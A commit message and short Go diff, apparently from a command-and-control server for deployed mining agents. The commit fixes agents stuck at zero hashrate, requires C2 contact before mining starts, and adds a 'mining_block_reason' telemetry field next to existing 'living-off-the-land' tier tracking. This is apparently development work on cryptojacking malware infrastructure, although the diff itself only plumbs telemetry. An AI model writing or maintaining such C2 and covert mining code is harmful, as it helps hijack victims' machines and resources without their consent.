Fix simple deploy mining: refresh auth tier policy and mine immediately.

Deploy and Mine agents were stuck at 0 H/s because idle mining_mode blocked workers and the tier orchestrator kept pre-auth defaults instead of server ForceTier=cpu_inprocess. Refresh tiers after auth, require C2 before start, surface mining_block_reason in stats_batch.

server/internal/api/websocket.go

@@ -1192,7 +1192,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 				At     string `json:"at"`
 			} `json:"failed_methods,omitempty"`
 			// Fleet health mining telemetry (coalesced into stats_batch)
-			MiningHashrate float64 `json:"mining_hashrate,omitempty"`
+			MiningHashrate    float64 `json:"mining_hashrate,omitempty"`
+			MiningBlockReason string  `json:"mining_block_reason,omitempty"`
 			LOTLTier       string  `json:"lotl_tier,omitempty"`
 			LOTLAttempts   []struct {
 				Tier       string `json:"tier"`
@@ -1356,6 +1357,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 			if stats.MiningHashrate > 0 {
 				broadcast["mining_hashrate"] = stats.MiningHashrate
 			}
+			if stats.MiningBlockReason != "" {
+				broadcast["mining_block_reason"] = stats.MiningBlockReason
+			}
 			if stats.LOTLTier != "" {
 				broadcast["lotl_tier"] = stats.LOTLTier
 			}